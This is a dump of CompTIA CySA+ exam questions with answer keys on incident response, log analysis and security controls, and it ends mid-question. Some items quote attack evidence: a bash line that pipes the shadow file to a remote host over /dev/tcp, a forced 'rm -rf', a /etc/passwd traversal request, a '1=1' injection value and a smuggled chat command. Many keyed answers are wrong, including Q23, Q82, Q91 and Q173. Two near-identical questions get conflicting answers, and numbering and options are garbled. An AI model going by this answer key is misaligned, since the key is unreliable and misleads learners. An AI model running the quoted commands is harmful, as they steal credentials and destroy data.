CompTIA

Exam Questions CS0-002

CompTIA Cybersecurity Analyst (CySA+) Certification Exam

NEW QUESTION 1
Which of the following would MOST likely be included in the incident response procedure after a security breach of customer PII?

A. Human resources
B. Public relations
C. Marketing
D. Internal network operations center

Answer: B

NEW QUESTION 2
A cybersecurity analyst is supposing an incident response effort via threat intelligence. Which of the following is the analyst MOST likely executing?

A. Requirements analysis and collection planning
B. Containment and eradication
C. Recovery and post-incident review
D. Indicator enrichment and research pivoting

Answer: D

NEW QUESTION 3
After receiving reports latency, a security analyst performs an Nmap scan and observes the following output:

Port	State	Service	Version
80/tcp	open	http	Apache httpd 2.2.14
111/udp	open	rpcbind	
443/tcp	filtered	https	Apache httpd 2.2.14
2222/tcp	open	ssh	OpenSSH 5.3p1 Debian
3306/tcp	open	mysql	5.5.40-0ubuntu0.14.1

Which of the following suggests the system that produced output was compromised?

A. Secure shell is operating of compromise on this system.
B. There are no indicators of compromise on this system.
C. MySQL services is identified on a standard PostgreSQL port.
D. Standard HTP is open on the system and should be closed.

Answer: B

NEW QUESTION 4
A security analyst needs to reduce the overall attack surface.
Which of the following infrastructure changes should the analyst recommend?

A. Implement a honeypot.
B. Air gap sensitive systems.
C. Increase the network segmentation.
D. Implement a cloud-based architecture.

Answer: C

NEW QUESTION 5
A security analyst conducted a risk assessment on an organization's wireless network and identified a high-risk element in the implementation of data confidentially protection. Which of the following is the BEST technical security control to mitigate this risk?

A. Switch to RADIUS technology
B. Switch to TACACS+ technology.
C. Switch to 802 IX technology
D. Switch to the WPA2 protocol.

Answer: B

NEW QUESTION 6
A security administrator needs to create an IDS rule to alert on FTP login attempts by root. Which of the following rules is the BEST solution?

A. `alert udp any any ⟶ root any ⟶ 21`
B. `alert tcp any any ⟶ any 21 (content:"root")`
C. `alert tcp any any ⟶ any root 21`
D. `alert tcp any any ⟶ any root (content:"ftp")`

A. Option A
B. Option B
C. Option C
D. Option D

Answer: B

NEW QUESTION 7
During routine monitoring, a security analyst discovers several suspicious websites that are communicating with a local host. The analyst queries for IP 192.168.50.2 for a 24-hour period:

Time	SRC	DST	Domain	Bytes
6/26/19 10:01	192.168.50.2	138.10.2.5	www.wioapsfeje.co	50
6/26/19 11:05	192.168.50.2	138.10.2.5	www.wioapsfeje.co	1000
6/26/19 13:09	192.168.50.2	138.10.25.5	www.wfaojsjfjoe.co	1000
6/26/19 15:13	192.168.50.2	172.10.25.5	www.wfalksdjflse.co	1000
6/26/19 17:17	192.168.50.2	172.10.45.5	www.wsahlfsdjlfe.co	1000
6/26/19 23:45	192.168.50.2	172.10.3.5	ftp.walksdjgfl.co	50000
6/27/19 10:21	192.168.50.2	175.35.20.5	www.whatsmyip.com	25
6/27/19 11:25	192.168.50.2	175.35.20.5	www.whatsmyip.com	25

To further investigate, the analyst should request PCAP for SRC 192.168.50.2 and.

A. DST 138.10.2.5.
B. DST 138.10.25.5.
C. DST 172.10.3.5.
D. DST 172.10.45.5.
E. DST 175.35.20.5.

Answer: A

NEW QUESTION 8
The inability to do remote updates of certificates. keys software and firmware is a security issue commonly associated with:

A. web servers on private networks.
B. HVAC control systems
C. smartphones
D. firewalls and UTM devices

Answer: B

NEW QUESTION 9
A security analyst has discovered suspicious traffic and determined a host is connecting to a known malicious website. The MOST appropriate action for the analyst to take would be lo implement a change request to:

A. update the antivirus software
B. configure the firewall to block traffic to the domain
C. add the domain to the blacklist
D. create an IPS signature for the domain

Answer: B

NEW QUESTION 10
A security manager has asked an analyst to provide feedback on the results of a penetration lest. After reviewing the results the manager requests information regarding the possible exploitation of vulnerabilities Much of the following information data points would be MOST useful for the analyst to provide to the security manager who would then communicate the risk factors to senior management? (Select TWO)

A. Probability
B. Adversary capability
C. Attack vector
D. Impact
E. Classification
F. Indicators of compromise

Answer: AD

NEW QUESTION 10
An analyst is reviewing a list of vulnerabilities, which were reported from a recent vulnerability scan of a Linux server.
Which of the following is MOST likely to be a false positive?

A. OpenSSH/OpenSSL Package Random Number Generator Weakness
B. Apache HTTP Server Byte Range DoS
C. GDI+ Remote Code Execution Vulnerability (MS08-052)
D. HTTP TRACE / TRACK Methods Allowed (002-1208)
E. SSL Certificate Expiry

Answer: E

NEW QUESTION 11
A security analyst received an email with the following key: Xj3XJ3LLc
A second security analyst received an email with following key: 3XJ3xjcLLC
The security manager has informed the two analysts that the email they received is a key that allows access to the company's financial segment for maintenance.
This is an example of:

A. dual control
B. private key encryption
C. separation of duties
D. public key encryption
E. two-factor authentication

Answer: A

NEW QUESTION 13
A web developer wants to create a new web part within the company website that aggregates sales from individual team sites. A cybersecurity analyst wants to ensure security measurements are implemented during this process. Which of the following remediation actions should the analyst take to implement a vulnerability management process?

A. Personnel training
B. Vulnerability scan
C. Change management
D. Sandboxing

Answer: C

NEW QUESTION 16
Which of the following BEST articulates the benefit of leveraging SCAP in an organization's cybersecurity analysis toolset?

A. It automatically performs remedial configuration changes to enterprise security services
B. It enables standard checklist and vulnerability analysis expressions for automation
C. It establishes a continuous integration environment for software development operations
D. It provides validation of suspected system vulnerabilities through workflow orchestration

Answer: B

NEW QUESTION 17
A security analyst discovered a specific series of IP addresses that are targeting an organization. None of the attacks have been successful. Which of the following should the security analyst perform NEXT?

A. Begin blocking all IP addresses within that subnet.
B. Determine the attack vector and total attack surface.
C. Begin a kill chain analysis to determine the impact.
D. Conduct threat research on the IP addresses

Answer: D

NEW QUESTION 21
A security analyst is investigating malicious traffic from an internal system that attempted to download proxy avoidance software as identified from the firewall logs but the destination IP is blocked and not captured. Which of the following should the analyst do?

A. Shut down the computer
B. Capture live data using Wireshark
C. Take a snapshot
D. Determine if DNS logging is enabled.
E. Review the network logs.

Answer: A

NEW QUESTION 23
During a routine log review, a security analyst has found the following commands that cannot be identified from the Bash history log on the root user.

```
Line 1 logger keeping track of my activity
Line 2 tail -1 /vvar/log/syslog
Line 3 lvextend -L +50G /dev/volg1/secret
Line 4 rm -rf1 /tmp/DFt5Gsd3
Line 5 cat /etc/s*w > /dev/tcp/10.0.0.1/8080
Line 6 yum install httpd --assumeyes
```

Which of the following commands should the analyst investigate FIRST?

A. Line 1
B. Line 2
C. Line 3
D. Line 4

E. Line 5
F. Line 6

Answer: B

NEW QUESTION 26
An organization developed a comprehensive incident response policy. Executive management approved the policy and its associated procedures. Which of the following activities would be MOST beneficial to evaluate personnel's familiarity with incident response procedures?

A. A simulated breach scenario involving the incident response team
B. Completion of annual information security awareness training by all employees
C. Tabletop activities involving business continuity team members
D. Completion of lessons-learned documentation by the computer security incident response team
E. External and internal penetration testing by a third party

Answer: A

NEW QUESTION 27
A company was recently awarded several large government contracts and wants to determine its current risk from one specific APT.
Which of the following threat modeling methodologies would be the MOST appropriate to use during this analysis?

A. Attack vectors
B. Adversary capability
C. Diamond Model of Intrusion Analysis
D. Kill chain
E. Total attack surface

Answer: B

NEW QUESTION 30
An organization was alerted to a possible compromise after its proprietary data was found for sale on the Internet. An analyst is reviewing the logs from the next-generation UTM in an attempt to find evidence of this breach. Given the following output:

Src IP	Src DNS	Dst IP	Dst DNS	Port	Application
10.50.50.121	83hht23.org-int.org	8.8.8.8	google...dns-a.google.com	53	DNS
10.50.50.121	83hht23.org-int.org	77.88.55.66	yandex.ru	443	HTTPS
172.16.52.20	webserver.org-dmz.org	131.52.88.45	--	53	DNS
10.100.10.45	appserver.org-int.org	69.134.21.90	repo.its.utk.edu	21	FTP
172.16.52.20	webserver.org-dmz.org	131.52.88.45	--	10999	HTTPS
172.16.52.100	sftp.org-dmz.org	62.30.221.56	ftps.bluemed.net	42991	SSH
172.16.52.20	webserver.org-dmz.org	131.52.88.45	--	10999	HTTPS

Which of the following should be the focus of the investigation?

A. webserver.org-dmz.org
B. sftp.org-dmz.org
C. 83hht23.org-int.org
D. ftps.bluemed.net

Answer: A

NEW QUESTION 35
A security analyst needs to assess the web server versions on a list of hosts to determine which are running a vulnerable version of the software and output that list into an XML file named Webserverlist. Xml. The host list is provided in a file named werbserverlist,text. Which of the fallowing Nmap commands would BEST accomplish this goal?
A)
```
nmap -iL webserverlist.txt -sC -p 443 -oX webserverlist.xml
```
B)
```
nmap -iL webserverlist.txt -sV -p 443 -oX webserverlist.xml
```
C)
```
nmap -iL webserverlist.txt -F -p 443 -oX webserverlist.xml
```
D)
```
nmap --takefile webserverlist.txt --outputfileasXML webserverlist.xml --scanports 443
```

A. Option A
B. Option B
C. Option C
D. Option D

Answer: A

NEW QUESTION 38
A compliance officer of a large organization has reviewed the firm's vendor management program but has discovered there are no controls defined to evaluate third-party risk or hardware source authenticity. The compliance officer wants to gain some level of assurance on a recurring basis regarding the implementation of controls by third parties.
Which of the following would BEST satisfy the objectives defined by the compliance officer? (Choose two.)

A. Executing vendor compliance assessments against the organization's security controls
B. Executing NDAs prior to sharing critical data with third parties
C. Soliciting third-party audit reports on an annual basis
D. Maintaining and reviewing the organizational risk assessment on a quarterly basis
E. Completing a business impact assessment for all critical service providers
F. Utilizing DLP capabilities at both the endpoint and perimeter levels

Answer: AC

NEW QUESTION 40
A Chief Information Security Officer (CISO) wants to upgrade an organization's security posture by improving proactive activities associated with attacks from internal and external threats.
Which of the following is the MOST proactive tool or technique that feeds incident response capabilities?

A. Development of a hypothesis as part of threat hunting
B. Log correlation, monitoring, and automated reporting through a SIEM platform
C. Continuous compliance monitoring using SCAP dashboards
D. Quarterly vulnerability scanning using credentialed scans

Answer: A

NEW QUESTION 43
A web-based front end for a business intelligence application uses pass-through authentication to authenticate users The application then uses a service account, to perform queries and look up data m a database A security analyst discovers employees are accessing data sets they have not been authorized to use. Which of the following will fix the cause of the issue?

A. Change the security model to force the users to access the database as themselves
B. Parameterize queries to prevent unauthorized SQL queries against the database
C. Configure database security logging using syslog or a SIEM
D. Enforce unique session IDs so users do not get a reused session ID

Answer: B

NEW QUESTION 47
A Chief Information Security Officer (CISO) is concerned the development team, which consists of contractors, has too much access to customer data. Developers use personal workstations, giving the company little to no visibility into the development activities.
Which of the following would be BEST to implement to alleviate the CISO's concern?

A. DLP
B. Encryption
C. Test data
D. NDA

Answer: D

NEW QUESTION 49
Which of the following technologies can be used to house the entropy keys for disk encryption on desktops and laptops?

A. Self-encrypting drive
B. Bus encryption
C. TPM
D. HSM

Answer: A

NEW QUESTION 54
A company’s Chief Information Security Officer (CISO) is concerned about the integrity of some highly confidential files. Any changes to these files must be tied back to a specific authorized user’s activity session. Which of the following is the BEST technique to address the CISO’s concerns?

A. Configure DLP to reject all changes to the files without pre-authorizatio
B. Monitor the files for unauthorized changes.
C. Regularly use SHA-256 to hash the directory containing the sensitive informatio
D. Monitor the files for unauthorized changes.
E. Place a legal hold on the file
F. Require authorized users to abide by a strict time context access policy.Monitor the files for unauthorized changes.
G. Use Wireshark to scan all traffic to and from the director
H. Monitor the files for unauthorized changes.

Answer: A

NEW QUESTION 55

A security team wants to make SaaS solutions accessible from only the corporate campus.
Which of the following would BEST accomplish this goal?

A. Geofencing
B. IP restrictions
C. Reverse proxy
D. Single sign-on

Answer: A

NEW QUESTION 60
A monthly job to install approved vendor software updates and hot fixes recently stopped working. The security team performed a vulnerability scan, which identified several hosts as having some critical OS vulnerabilities, as referenced in the common vulnerabilities and exposures (CVE) database.
Which of the following should the security team do NEXT to resolve the critical findings in the most effective manner? (Choose two.)

A. Patch the required hosts with the correct updates and hot fixes, and rescan them for vulnerabilities.
B. Remove the servers reported to have high and medium vulnerabilities.
C. Tag the computers with critical findings as a business risk acceptance.
D. Manually patch the computers on the network, as recommended on the CVE website.
E. Harden the hosts on the network, as recommended by the NIST framework.
F. Resolve the monthly job issues and test them before applying them to the production network.

Answer: CE

NEW QUESTION 65
An organization that handles sensitive financial information wants to perform tokenization of data to enable the execution of recurring transactions. The organization is most interested m a secure, built-in device to support its solution. Which of the following would MOST likely be required to perform the desired function?

A. TPM
B. eFuse
C. FPGA
D. HSM
E. UEFI

Answer: D

NEW QUESTION 68
A security analyst at a technology solutions firm has uncovered the same vulnerabilities on a vulnerability scan for a long period of time. The vulnerabilities are on systems that are dedicated to the firm's largest client. Which of the following is MOST likely inhibiting the remediation efforts?

A. The parties have an MOU between them that could prevent shutting down the systems
B. There is a potential disruption of the vendor-client relationship
C. Patches for the vulnerabilities have not been fully tested by the software vendor
D. There is an SLA with the client that allows very little downtime

Answer: D

NEW QUESTION 72
An information security analyst observes anomalous behavior on the SCADA devices in a power plant. This behavior results in the industrial generators overheating and destabilizing the power supply.
Which of the following would BEST identify potential indicators of compromise?

A. Use Burp Suite to capture packets to the SCADA device's IP.
B. Use tcpdump to capture packets from the SCADA device IP.
C. Use Wireshark to capture packets between SCADA devices and the management system.
D. Use Nmap to capture packets from the management system to the SCADA devices.

Answer: C

NEW QUESTION 75
A pharmaceutical company's marketing team wants to send out notifications about new products to alert users of recalls and newly discovered adverse drug reactions. The team plans to use the names and mailing addresses that users have provided.
Which of the following data privacy standards does this violate?

A. Purpose limitation
B. Sovereignty
C. Data minimization
D. Retention

Answer: A

NEW QUESTION 76
A large software company wants to move «s source control and deployment pipelines into a cloud-computing environment. Due to the nature of the business management determines the recovery time objective needs to be within one hour. Which of the following strategies would put the company in the BEST position to achieve the desired recovery time?

A. Establish an alternate site with active replication to other regions
B. Configure a duplicate environment in the same region and load balance between both instances
C. Set up every cloud component with duplicated copies and auto scaling turned on
D. Create a duplicate copy on premises that can be used for failover in a disaster situation

Answer: A

NEW QUESTION 77
Which of the following sets of attributes BEST illustrates the characteristics of an insider threat from a security perspective?

A. Unauthorized, unintentional, benign
B. Unauthorized, intentional, malicious
C. Authorized, intentional, malicious
D. Authorized, unintentional, benign

Answer: C

NEW QUESTION 78
An analyst has been asked to provide feedback regarding the control required by a revised regulatory framework At this time, the analyst only needs to focus on the technical controls. Which of the following should the analyst provide an assessment of?

A. Tokenization of sensitive data
B. Establishment o' data classifications
C. Reporting on data retention and purging activities
D. Formal identification of data ownership
E. Execution of NDAs

Answer: A

NEW QUESTION 80
A security analyst is reviewing the following web server log:

```
GET %2f..%2f..%2f..%2f..%2f..%2f..%2f../etc/passwd
```

Which of the following BEST describes the issue?

A. Directory traversal exploit
B. Cross-site scripting
C. SQL injection
D. Cross-site request forgery

Answer: A

NEW QUESTION 82
Which of the following are components of the intelligence cycle? (Select TWO.)

A. Collection
B. Normalization
C. Response
D. Analysis
E. Correction
F. Dissension

Answer: BE

NEW QUESTION 87
A security analyst discovers a vulnerability on an unpatched web server that is used for testing machine learning on Bing Data sets. Exploitation of the vulnerability could cost the organization $1.5 million in lost productivity. The server is located on an isolated network segment that has a 5% chance of being compromised.
Which of the following is the value of this risk?

A. $75.000
B. $300.000
C. $1.425 million
D. $1.5 million

Answer: A

NEW QUESTION 91
A security analyst is reviewing a web application. If an unauthenticated user tries to access a page in the application, the user is redirected to the login page. After successful authentication, the user is then redirected back to the original page. Some users have reported receiving phishing emails with a link that takes them to the application login page but then redirects to a fake login page after successful authentication.
Which of the following will remediate this software vulnerability?

A. Enforce unique session IDs for the application.
B. Deploy a WAF in front of the web application.
C. Check for and enforce the proper domain for the redirect.
D. Use a parameterized query to check the credentials.
E. Implement email filtering with anti-phishing protection.

Answer: D

NEW QUESTION 94
The inability to do remote updates of certificates, keys, software, and firmware is a security issue commonly associated with:

A. web servers on private networks
B. HVAC control systems
C. smartphones
D. firewalls and UTM devices

Answer: D

NEW QUESTION 98
The computer incident response team at a multinational company has determined that a breach of sensitive data has occurred in which a threat actor has compromised the organization's email system. Per the incident response procedures, this breach requires notifying the board immediately. Which of the following would be the BEST method of communication?

A. Post of the company blog
B. Corporate-hosted encrypted email
C. VoIP phone call
D. Summary sent by certified mail
E. Externally hosted instant message

Answer: C

NEW QUESTION 103
A security analyst discovers accounts in sensitive SaaS-based systems are not being removed in a timely manner when an employee leaves the organization To BEST resolve the issue, the organization should implement

A. federated authentication
B. role-based access control.
C. manual account reviews
D. multifactor authentication.

Answer: A

NEW QUESTION 104
An information security analyst is working with a data owner to identify the appropriate controls to preserve the confidentiality of data within an enterprise environment One of the primary concerns is exfiltration of data by malicious insiders Which of the following controls is the MOST appropriate to mitigate risks?

A. Data deduplication
B. OS fingerprinting
C. Digital watermarking
D. Data loss prevention

Answer: D

NEW QUESTION 106
A development team signed a contract that requires access to an on-premises physical server. Access must be restricted to authorized users only and cannot be connected to the Internet.
Which of the following solutions would meet this requirement?

A. Establish a hosted SSO.
B. Implement a CASB.
C. Virtualize the server.
D. Air gap the server.

Answer: D

NEW QUESTION 107
Because some clients have reported unauthorized activity on their accounts, a security analyst is reviewing network packet captures from the company's API server. A portion of a capture file is shown below:
POST /services/v1_0/Public/Members.svc/soap <s:Envelope+xmlns:s="http://schemas.s/soap/envelope/ "><s:Body><GetIPLocation+xmlns="http://tempuri.org/">
<request+xmlns:a="http://schemas.somesite.org"+xmlns:i="http://www.w3.org/2001/XMLSchema-instance "></s:Body></s:Envelope> 192.168.1.22 - -
api.somesite.com 200 0 1006 1001 0 192.168.1.22
POST /services/v1_0/Public/Members.svc/soap
<<a:Password>Password123</a:Password><a:ResetPasswordToken+i:nil="true"/>
<a:ShouldImpersonatedAuthenticationBePopulated+i:nil="true"/><a:Username>somebody@companyname.com 192.168.5.66 - - api.somesite.com 200 0 11558
1712 2024 192.168.4.89
POST /services/v1_0/Public/Members.svc/soap <s:Envelope+xmlns:s="
http://schemas.xmlsoap.org/soap/envelope/"><s:Body><GetIPLocation+xmlns="http://tempuri.org/">
<a:IPAddress>516.7.446.605</a:IPAddress><a:ZipCode+i:nil="true"/></request></GetIPLocation></s:Body>< 192.168.1.22 - - api.somesite.com 200 0 1003 1011
307 192.168.1.22
POST /services/v1_0/Public/Members.svc/soap <s:Envelope+xmlns:s="
http://schemas.xmlsoap.org/soap/envelope/"><s:Body><IsLoggedIn+xmlns="http://tempuri.org/">
<request+xmlns:a="http://schemas.datacontract.org/2004/07/somesite.web+xmlns:i="
http://www.w3.org/2001/XMLSchema-instance"><a:Authentication>

<a:ApiToken>kmL4krg2CwwWBan5BReGv5Djb7syxXTNKcWFuSjd</a:ApiToken><a:ImpersonateUserId>0
<a:NetworkId>4</a:NetworkId><a:ProviderId>"1=1</a:ProviderId><a:UserId>13026046</a:UserId></a:Authe 192.168.5.66 - - api.somesite.com 200 0 1378 1209
48 192.168.4.89
Which of the following MOST likely explains how the clients' accounts were compromised?

A. The clients' authentication tokens were impersonated and replayed.
B. The clients' usernames and passwords were transmitted in cleartext.
C. An XSS scripting attack was carried out on the server.
D. A SQL injection attack was carried out on the server.

Answer: A

NEW QUESTION 108
A security analyst for a large financial institution is creating a threat model for a specific threat actor that is likely targeting an organization's financial assets.
Which of the following is the BEST example of the level of sophistication this threat actor is using?

A. Social media accounts attributed to the threat actor
B. Custom malware attributed to the threat actor from prior attacks
C. Email addresses and phone numbers tied to the threat actor
D. Network assets used in previous attacks attributed to the threat actor
E. IP addresses used by the threat actor for command and control

Answer: D

NEW QUESTION 109
A security analyst is reviewing the logs from an internal chat server. The chat.log file is too large to review manually, so the analyst wants to create a shorter log file that only includes lines associated with a user demonstrating anomalous activity. Below is a snippet of the log:

Line	User	Time	Command	Result
36570	DEV12	02.01.13.151219	KICK DEV27	OK
36571	JAVASHARK	02.01.13.151255	JOIN #CHATOPS e32kk10	OK
36572	DEV12	02.01.13.151325	PART #CHATOPS	OK
36573	CHATTER14	02.01.13.151327	JOIN';CAT ../etc/config'	OK
36574	PYTHONFUN	02.01.13.151330	PRIVMSG DEV99 "?"	OK
36575	DEV99	02.01.13.151358	PRIVMSG PYTHONFUN "OK"	OK

Which of the following commands would work BEST to achieve the desired result?

A. grep -v chatter14 chat.log
B. grep -i pythonfun chat.log
C. grep -i javashark chat.log
D. grep -v javashark chat.log
E. grep -v pythonfun chat.log
F. grep -i chatter14 chat.log

Answer: D

NEW QUESTION 110
Data spillage occurred when an employee accidentally emailed a sensitive file to an external recipient. Which of the following controls would have MOST likely prevented this incident?

A. SSO
B. DLP
C. WAF
D. VDI

Answer: B

NEW QUESTION 113
A security analyst wants to identify which vulnerabilities a potential attacker might initially exploit if the network is compromised Which of the following would provide the BEST results?

A. Baseline configuration assessment
B. Uncredentialed scan
C. Network ping sweep
D. External penetration test

Answer: D

NEW QUESTION 115
An analyst is performing penetration testing and vulnerability assessment activities against a new vehicle automation platform.
Which of the following is MOST likely an attack vector that is being utilized as part of the testing and assessment?

A. FaaS
B. RTOS
C. SoC
D. GPS

E. CAN bus

Answer: E

NEW QUESTION 120
After a breach involving the exfiltration of a large amount of sensitive data a security analyst is reviewing the following firewall logs to determine how the breach occurred:

```
3-10-2019 10:23:22 FROM 192.168.1.10:3243 TO 10.10.10.5:53 PERMIT UDP 143 BYTES
3-10-2019 10:23:24 FROM 192.168.1.12:1076 TO 10.10.35.221:80 PERMIT TCP 100 BYTES
3-10-2019 10:23:25 FROM 192.168.1.1:1244 TO 10.10.1.1:22 DENY TCP 1 BYTES
3-10-2019 10:23:26 FROM 192.168.1.12:1034 TO 10.10.10.5:53 PERMIT UDP 5.3M BYTES
3-10-2019 10:23:29 FROM 192.168.1.10:4311 TO 10.10.200.50:3389 DENY TCP 1 BYTES
3-10-2019 10:23:30 FROM 192.168.1.193:2356 TO 10.10.50.199:25 PERMIT TCP 20K BYTES
```

Which of the following IP addresses does the analyst need to investigate further?

A. 192.168.1.1
B. 192.168.1.10
C. 192.168.1.12
D. 192.168.1.193

Answer: C

NEW QUESTION 121
A security analyst receives an alert that highly sensitive information has left the company's network Upon investigation, the analyst discovers an outside IP range has had connections from three servers more than 100 times m the past month The affected servers are virtual machines Which of the following is the BEST course of action?

A. Shut down the servers as soon as possible, move them to a clean environment, restart, run a vulnerability scanner to find weaknesses determine the root cause, remediate, and report
B. Report the data exfiltration to management take the affected servers offline, conduct an antivirus scan, remediate all threats found, and return the servers to service.
C. Disconnect the affected servers from the network, use the virtual machine console to access the systems, determine which information has left the network, find the security weakness, and remediate
D. Determine if any other servers have been affected, snapshot any servers found, determine the vector that was used to allow the data exfiltratio
E. fix any vulnerabilities, remediate, and report.

Answer: A

NEW QUESTION 125
A cybersecurity analyst is responding to an incident. The company’s leadership team wants to attribute the incident to an attack group. Which of the following models would BEST apply to the situation?

A. Intelligence cycle
B. Diamond Model of Intrusion Analysis
C. Kill chain
D. MITRE ATT&CK

Answer: B

NEW QUESTION 127
A small organization has proprietary software that is used internally. The system has not been well maintained and cannot be updated with the rest of the environment Which of the following is the BEST solution?

A. Virtualize the system and decommission the physical machine.
B. Remove it from the network and require air gapping.
C. Only allow access to the system via a jumpbox
D. Implement MFA on the specific system.

Answer: A

NEW QUESTION 131
An organization has not had an incident for several month. The Chief information Security Officer (CISO) wants to move to proactive stance for security investigations. Which of the following would BEST meet that goal?

A. Root-cause analysis
B. Active response
C. Advanced antivirus
D. Information-sharing community
E. Threat hunting

Answer: E

NEW QUESTION 136
A security analyst is responding to an incident on a web server on the company network that is making a large number of outbound requests over DNS Which of the following is the FIRST step the analyst should take to evaluate this potential indicator of compromise'?

A. Run an anti-malware scan on the system to detect and eradicate the current threat

B. Start a network capture on the system to look into the DNS requests to validate command and control traffic.
C. Shut down the system to prevent further degradation of the company network
D. Reimage the machine to remove the threat completely and get back to a normal running state.
E. Isolate the system on the network to ensure it cannot access other systems while evaluation is underway.

Answer: A

NEW QUESTION 140
A user receives a potentially malicious email that contains spelling errors and a PDF document. A security analyst reviews the email and decides to download the attachment to a Linux sandbox for review.
Which of the following commands would MOST likely indicate if the email is malicious?

A. sha256sum ~/Desktop/file.pdf
B. file ~/Desktop/file.pdf
C. strings ~/Desktop/file.pdf | grep "<script"
D. cat < ~/Desktop/file.pdf | grep -i .exe

Answer: A

NEW QUESTION 145
A system is experiencing noticeably slow response times, and users are being locked out frequently. An analyst asked for the system security plan and found the system comprises two servers: an application server in the DMZ and a database server inside the trusted domain. Which of the following should be performed NEXT to investigate the availability issue?

A. Review the firewall logs.
B. Review syslogs from critical servers.
C. Perform fuzzing.
D. Install a WAF in front of the application server.

Answer: C

NEW QUESTION 150
Which of the following types of policies is used to regulate data storage on the network?

A. Password
B. Acceptable use
C. Account management
D. Retention

Answer: D

NEW QUESTION 154
A developer wrote a script to make names and other Pll data unidentifiable before loading a database export into the testing system Which of the following describes the type of control that is being used?

A. Data encoding
B. Data masking
C. Data loss prevention
D. Data classification

Answer: C

NEW QUESTION 158
A product manager is working with an analyst to design a new application that will perform as a data analytics platform and will be accessible via a web browser.
The product manager suggests using a PaaS provider to host the application.
Which of the following is a security concern when using a PaaS solution?

A. The use of infrastructure-as-code capabilities leads to an increased attack surface.
B. Patching the underlying application server becomes the responsibility of the client.
C. The application is unable to use encryption at the database level.
D. Insecure application programming interfaces can lead to data compromise.

Answer: D

NEW QUESTION 162
A security analyst has discovered trial developers have installed browsers on all development servers in the company's cloud infrastructure and are using them to browse the Internet. Which of the following changes should the security analyst make to BEST protect the environment?

A. Create a security rule that blocks Internet access in the development VPC
B. Place a jumpbox m between the developers' workstations and the development VPC
C. Remove the administrator profile from the developer user group in identity and access management
D. Create an alert that is triggered when a developer installs an application on a server

Answer: A

NEW QUESTION 165

A security analyst is investigating a malware infection that occurred on a Windows system. The system was not connected to a network and had no wireless capability Company policy prohibits using portable media or mobile storage The security analyst is trying to determine which user caused the malware to get onto the system Which of the following registry keys would MOST likely have this information?

A)
```
HKEY_USERS\<user SID>\Software\Microsoft\Windows\CurrentVersion\Run
```

B)
```
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
```

C)
```
HKEY_USERS\<user SID>\Software\Microsoft\Windows\explorer\MountPoints2
```

D)
```
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\eventlog\System\iusb3hub
```

A. Option A
B. Option B
C. Option C
D. Option D

Answer: C

NEW QUESTION 170
Which of the following policies would slate an employee should not disable security safeguards, such as host firewalls and antivirus on company systems?

A. Code of conduct policy
B. Account management policy
C. Password policy
D. Acceptable use policy

Answer: D

NEW QUESTION 172
A security analyst is reviewing vulnerability scan results and notices new workstations are being flagged as having outdated antivirus signatures. The analyst observes the following plugin output:
Antivirus is installed on the remote host:
Installation path: C:\Program Files\AVProduct\Win32\ Product Engine: 14.12.101
Engine Version: 3.5.71
Scanner does not currently have information about AVProduct version 3.5.71. It may no longer be supported.
The engine version is out of date. The oldest supported version from the vendor is 4.2.11. The analyst uses the vendor's website to confirm the oldest supported version is correct. Which of the following BEST describes the situation?

A. This is a false positive, and the scanning plugin needs to be updated by the vendor.
B. This is a true negative, and the new computers have the correct version of the software.
C. This is a true positive, and the new computers were imaged with an old version of the software.
D. This is a false negative, and the new computers need to be updated by the desktop team.

Answer: C

NEW QUESTION 173
The help desk provided a security analyst with a screenshot of a user's desktop:
```
$ aircrack-ng -e AHT4 -w dictionary.txt wpa2.pcapdump
Opening wpa2.pcapdump
Read 6396 packets.
Opening wpa2.pcapdump
Reading packets, please wait...
```
For which of the following is aircrack-ng being used?

A. Wireless access point discovery
B. Rainbow attack
C. Brute-force attack
D. PCAP data collection

Answer: B

NEW QUESTION 174
A network attack that is exploiting a vulnerability in the SNMP is detected. Which of the following should the cybersecurity analyst do FIRST?

A. Apply the required patches to remediate the vulnerability.
B. Escalate the incident to senior management for guidance.
C. Disable all privileged user accounts on the network.
D. Temporarily block the attacking IP address.

Answer: A

NEW QUESTION 178

A cybersecurity analyst is supporting an incident response effort via threat intelligence. Which of the following is the analyst MOST likely executing?

A. Requirements analysis and collection planning
B. Containment and eradication
C. Recovery and post-incident review
D. Indicator enrichment and research pivoting

Answer: A

NEW QUESTION 183
During an investigation, an incident responder intends to recover multiple pieces of digital media. Before removing the media, the responder should initiate:

A. malware scans.
B. secure communications.
C. chain of custody forms.
D. decryption tools.

Answer: C

NEW QUESTION 187
A security analyst, who is working for a company that utilizes Linux servers, receives the following results from a vulnerability scan:

CVE ID	CVSS Base	Name
CVE-1999-0524	None	ICMP timestamp request remote date disclosure
CVE-1999-0497	5.0	Anonymous FTP enabled
None	7.5	Unsupported web server detection
CVE-2005-2150	5.0	Windows SMB service enumeration via \srvsvc

Which of the following is MOST likely a false positive?

A. ICMP timestamp request remote date disclosure
B. Windows SMB service enumeration via \srvsvc
C. Anonymous FTP enabled
D. Unsupported web server detection

Answer: B

NEW QUESTION 189
A security analyst working in the SOC recently discovered Balances m which hosts visited a specific set of domains and IPs and became infected with malware.
Which of the following is the MOST appropriate action to take in the situation?

A. implement an IPS signature for the malware and update the blacklisting for the associated domains and IPs
B. Implement an IPS signature for the malware and another signature request to Nock all the associated domains and IPs
C. Implement a change request to the firewall setting to not allow traffic to and from the IPs and domains
D. Implement an IPS signature for the malware and a change request to the firewall setting to not allow traffic to and from the IPs and domains

Answer: C

NEW QUESTION 191
During an investigation, a security analyst identified machines that are infected with malware the antivirus was unable to detect.
Which of the following is the BEST place to acquire evidence to perform data carving?

A. The system memory
B. The hard drive
C. Network packets
D. The Windows Registry

Answer: A

NEW QUESTION 196
During an investigation, a security analyst determines suspicious activity occurred during the night shift over the weekend. Further investigation reveals the activity was initiated from an internal IP going to an external website.
Which of the following would be the MOST appropriate recommendation to prevent the activity from happening in the future?

A. An IPS signature modification for the specific IP addresses
B. An IDS signature modification for the specific IP addresses
C. A firewall rule that will block port 80 traffic
D. A firewall rule that will block traffic from the specific IP addresses

Answer: D

NEW QUESTION 201
A security analyst is investigating a compromised Linux server. The analyst issues the ps command and receives the following output.

```
1286    ?    Ss    0:00   /usr/sbin/cupsd -f
1287    ?    Ss    0:00   /usr/sbin/httpd
1297    ?    Ssl   0:00   /usr/bin/libvirtd
1301    ?    Ss    0:00   ./usr/sbin/sshd -D
1308    ?    Ss    0:00   /usr/sbin/atd -f
```

Which of the following commands should the administrator run NEXT to further analyze the compromised system?

A. strace /proc/1301
B. rpm -V openash-server
